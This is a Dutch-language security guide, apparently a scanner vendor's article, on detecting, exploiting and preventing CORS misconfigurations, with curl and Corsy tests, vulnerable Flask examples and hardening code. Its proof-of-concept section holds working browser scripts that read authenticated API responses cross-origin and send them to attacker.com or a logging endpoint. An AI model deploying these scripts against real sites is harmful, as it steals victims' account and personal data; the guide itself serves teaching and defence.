CORS-misconfiguratiekwetsbaarheid: complete gids voor detectie en preventie
CORS-misconfiguraties behoren tot de meest consistent beloonde kwetsbaarheden in bug bounty-programma's — en tot de meest onderschatte. Eén verkeerd geconfigureerde Access-Control-Allow-Origin-header kan elk geauthenticeerd API-eindpunt blootstellen aan door de aanvaller beheerde domeinen.
Wat is CORS en waarom is het belangrijk?
Standaard handhaven browsers het Same-Origin Policy (SOP): JavaScript die draait op attacker.com kan geen antwoorden lezen van bank.com. CORS is het mechanisme dat deze beperking versoepelt — en wanneer het verkeerd is geconfigureerd, kan het het SOP volledig ondermijnen.
Cross-Origin Resource Sharing (CORS) is een op HTTP-headers gebaseerd mechanisme waarmee een server aangeeft welke origins (domein + schema + poort) buiten de eigen origin toestemming hebben om zijn responses te lezen. Wanneer een browser een cross-origin-verzoek doet, handhaaft deze het CORS-beleid van de server.
De kritieke headers om te begrijpen:
Access-Control-Allow-Origin— specificeert welke origin de response mag lezenAccess-Control-Allow-Credentials— of cookies/authenticatieheaders worden meegestuurdAccess-Control-Allow-Methods— toegestane HTTP-methodenAccess-Control-Allow-Headers— toegestane verzoekheadersAccess-Control-Expose-Headers— responseheaders zichtbaar voor JavaScript
De meest kritieke kwetsbaarheid ontstaat wanneer een server zowel Access-Control-Allow-Origin: [door aanvaller beheerd] ALS Access-Control-Allow-Credentials: true retourneert. Dit betekent dat aanvallers geauthenticeerde verzoeken kunnen doen vanaf hun eigen site en de responses kunnen lezen.
CORS-misconfiguratiepatronen
1. Wildcard met inloggegevens (onmogelijk volgens spec, vaak geprobeerd)
Browsers wijzen Access-Control-Allow-Origin: * gecombineerd met inloggegevens af. Ontwikkelaars proberen dit vaak en "fixen" het vervolgens door de origin dynamisch te reflecteren — wat een ergere kwetsbaarheid creëert.
2. Blind reflecteren van de Origin-header
# Vulnerable server-side logic (Python/Flask)
@app.after_request
def add_cors(response):
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin # NEVER DO THIS
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response
Elke origin kan nu geauthenticeerde responses lezen. Dit is de meest voorkomende CORS-kwetsbaarheid gevonden in bug bounties.
3. Zwakke origin-validatie (substring-/regex-bypass)
# Vulnerable: checks if trusted domain appears ANYWHERE in origin
if 'trusted-bank.com' in request.headers.get('Origin', ''):
# Bypass: attacker registers evil-trusted-bank.com or trusted-bank.com.evil.com
allow_origin(origin)
4. Null-origin-vertrouwen
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
De null-origin kan worden getriggerd via sandboxed iframes, redirects en file://-URL's. Aanvallers kunnen pagina's samenstellen die verzoeken sturen met Origin: null.
5. Subdomein-wildcard zonder TLD-verankering
# Meant to allow *.company.com but also allows evil.company.com.attacker.com
if origin.endswith('.company.com'):
allow_origin(origin)
6. Pre-flight cache-poisoning
Wanneer Access-Control-Max-Age is ingesteld, kunnen gecachte pre-flight-responses worden misbruikt als de origin-validatielogica verandert zonder cache-invalidatie.
Detectie: CORS-misconfiguraties vinden
Handmatige detectie met curl
# Test 1: Basic reflection check
curl -s -I -H "Origin: https://evil.com" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Test 2: Null origin
curl -s -I -H "Origin: null" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Test 3: Subdomain bypass
curl -s -I -H "Origin: https://target.com.evil.com" \
https://target.com/api/userinfo \
| grep -i "access-control"
# Test 4: Pre-domain bypass
curl -s -I -H "Origin: https://eviltarget.com" \
https://target.com/api/userinfo \
| grep -i "access-control"
Geautomatiseerde detectie met Corsy
# Install and run Corsy
pip install corsy
python3 corsy.py -u https://target.com -t 10
# Scan a list of URLs
python3 corsy.py -i urls.txt --headers "Cookie: session=abc123"
Detectie met Burp Suite
In Burp Suite Pro test de Active Scanner automatisch op CORS-misconfiguraties. Voor handmatig testen gebruikt u de CORS*-extensie uit de BApp Store. Stappen:
- Leg een verzoek vast met Burp Proxy
- Stuur naar Repeater
- Voeg de header
Origin: https://evil.comtoe - Controleer of de response de origin reflecteert in
Access-Control-Allow-Origin - Controleer of
Access-Control-Allow-Credentials: trueook aanwezig is
Waar u op moet letten in responses
| Response | Ernst | Uitbuitbaar? |
|---|---|---|
ACAO: * | Laag-gemiddeld | Alleen zonder inloggegevens |
ACAO: [kwaadwillende origin] alleen | Gemiddeld | Zonder inloggegevens |
ACAO: [kwaadwillende origin] + ACAC: true | Kritiek | Ja — volledige diefstal van inloggegevens |
ACAO: null + ACAC: true | Hoog | Via sandboxed iframe |
Proof of Concept: CORS-misconfiguratie exploiteren
De volgende PoC demonstreert de impact van CORS-misconfiguraties. Test alleen tegen applicaties die u bezit of waarvoor u expliciete schriftelijke toestemming heeft.
Basis-CORS-PoC (gevoelige data lezen)
<!-- Hosted on attacker.com -->
<script>
fetch('https://victim.com/api/account/profile', {
credentials: 'include', // Sends cookies
mode: 'cors'
})
.then(r => r.text())
.then(data => {
// Exfiltrate to attacker's server
fetch('https://attacker.com/log?data=' + encodeURIComponent(data));
})
.catch(e => console.log('CORS blocked:', e));
</script>
Null-origin-PoC (sandboxed iframe)
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
fetch('https://victim.com/api/userdata', {credentials:'include'})
.then(r=>r.text())
.then(d=>parent.postMessage(d,'*'));
</script>">
</iframe>
<script>
window.addEventListener('message', e => {
fetch('/log?d=' + encodeURIComponent(e.data));
});
</script>
Subdomeinovername + CORS-koppeling
Als een vertrouwd subdomein (bijv. legacy.victim.com) beschikbaar is voor overname en de API *.victim.com vertrouwt, creëert het combineren van subdomeinovername met CORS een kritieke impactketen.
CORS-kwetsbaarheden uit de praktijk
Case study: grote e-commerceplatform ($12.500 bounty)
Een onderzoeker ontdekte dat het betalings-API-eindpunt /api/v2/payment-methods elke origin-header met inloggegevens reflecteerde. Door een kwaadaardige pagina te hosten op een lookalike-domein konden zij stilzwijgend de opgeslagen creditcardmetadata (laatste 4 cijfers, vervaldatum, factuuradres) en het accountsaldo van slachtoffers lezen wanneer het slachtoffer de pagina van de aanvaller bezocht.
Case study: gezondheidszorgportaal (kritiek)
Het patiëntenportaal van een zorgorganisatie accepteerde verzoeken van null-origins. De interne beheer-API gebruikte hetzelfde CORS-beleid als de patiëntgerichte API. Een sandboxed iframe van een aanvaller kon PHI (Protected Health Information) lezen uit geauthenticeerde sessies — een directe HIPAA-schending.
Opmerkelijke openbaargemaakte CORS-bugs
| Bedrijf | Kwetsbaarheid | Uitbetaling |
|---|---|---|
| Shopify | Origin-reflectie in merchant-API | $25.000 |
| Uber | Wildcard-subdomeinvertrouwen | $3.000 |
| Yahoo | Acceptatie van null-origin | $2.500 |
| Starbucks | Pre-domein-bypass | $4.000 |
Preventie: CORS-configuraties harden
Allowlist-gebaseerde origin-validatie (correcte aanpak)
# Python/Flask - Secure Implementation
ALLOWED_ORIGINS = {
'https://app.company.com',
'https://admin.company.com',
'https://company.com'
}
@app.after_request
def add_cors_headers(response):
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
response.headers['Vary'] = 'Origin' # Critical for caching!
return response
// Node.js/Express - Secure Implementation
const allowedOrigins = new Set([
'https://app.company.com',
'https://company.com'
]);
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin');
}
next();
});
Nginx CORS-configuratie
# nginx.conf - Secure CORS
map $http_origin $cors_origin {
default "";
"https://app.company.com" $http_origin;
"https://company.com" $http_origin;
}
server {
location /api/ {
if ($cors_origin) {
add_header 'Access-Control-Allow-Origin' $cors_origin always;
add_header 'Access-Control-Allow-Credentials' 'true' always;
add_header 'Vary' 'Origin' always;
}
# Never use: add_header 'Access-Control-Allow-Origin' '*';
}
}
- ✅ Gebruik nooit een wildcard (
*) met inloggegevens - ✅ Gebruik een expliciete allowlist — reflecteer nooit direct de Origin-header
- ✅ Valideer de volledige origin (schema + domein + poort)
- ✅ Vertrouw nooit de
null-origin in productie - ✅ Voeg altijd de header
Vary: Origintoe bij het dynamisch instellen van ACAO - ✅ Pas het principe van minimale rechten toe — stel alleen noodzakelijke eindpunten cross-origin bloot
- ✅ Overweeg voor interne API's om CORS volledig uit te schakelen (niet nodig indien same-origin)
- ✅ Test met Corsy of Burp Suite als onderdeel van CI/CD
CORS vs CSRF: het verschil begrijpen
CSRF misbruikt het automatisch versturen van cookies door de browser bij statusveranderende verzoeken (schrijfacties). De aanvaller hoeft de response niet te lezen. CORS-misconfiguraties stellen aanvallers in staat om cross-origin-responses te lezen. Beide vereisen dat het slachtoffer geauthenticeerd is. CORS beschermt NIET tegen CSRF — gebruik daarvoor CSRF-tokens.
CORS testen in uw CI/CD-pijplijn
# Add to your security pipeline (e.g., GitHub Actions)
- name: CORS Security Scan
run: |
# Test critical endpoints
for endpoint in /api/user /api/account /api/payments; do
response=$(curl -s -I \
-H "Origin: https://evil-test-domain.com" \
"https://${{ env.TARGET_URL }}$endpoint")
if echo "$response" | grep -qi "access-control-allow-origin: https://evil"; then
echo "CORS MISCONFIGURATION DETECTED: $endpoint"
exit 1
fi
done
echo "CORS check passed"
Veelgestelde vragen
Is een CORS-misconfiguratie altijd kritiek?
De ernst hangt af van de combinatie van headers. Access-Control-Allow-Origin: * alleen (zonder inloggegevens) is laag-gemiddelde ernst. De kritieke gevallen betreffen zowel een willekeurige/gereflecteerde origin ALS Access-Control-Allow-Credentials: true — dit maakt volledige sessiekaping en gegevensdiefstal mogelijk.
Kunnen CORS-misconfiguraties worden uitgebuit zonder gebruikersinteractie?
CORS-exploits vereisen dat het slachtoffer de pagina van de aanvaller bezoekt met een actieve sessie op de doelsite. De exploit gebeurt stilzwijgend op de achtergrond — het slachtoffer merkt niets. Dit maakt ze bijzonder gevaarlijk in phishingscenario's.
Voorkomt HTTPS CORS-aanvallen?
Nee. CORS is een mechanisme dat het same-origin-beleid versoepelt en werkt ongeacht of HTTPS wordt gebruikt. Het schema (http versus https) maakt deel uit van de origin, maar het gebruik van HTTPS lost CORS-misconfiguraties niet op.
Hoe detecteert KENSAI CORS-misconfiguraties?
De actieve scanner van KENSAI test alle API-eindpunten met gewijzigde origin-headers, controlerend op gereflecteerde origins, acceptatie van null-origins, en de kritieke combinatie van gereflecteerde origins met ondersteuning voor inloggegevens. Bevindingen worden geprioriteerd op basis van daadwerkelijke uitbuitbaarheid, niet alleen de aanwezigheid van headers.
KENSAI scant continu op CORS-misconfiguraties, gereflecteerde origin-kwetsbaarheden en null-origin-vertrouwensproblemen over al uw API-eindpunten.
Start gratis scan →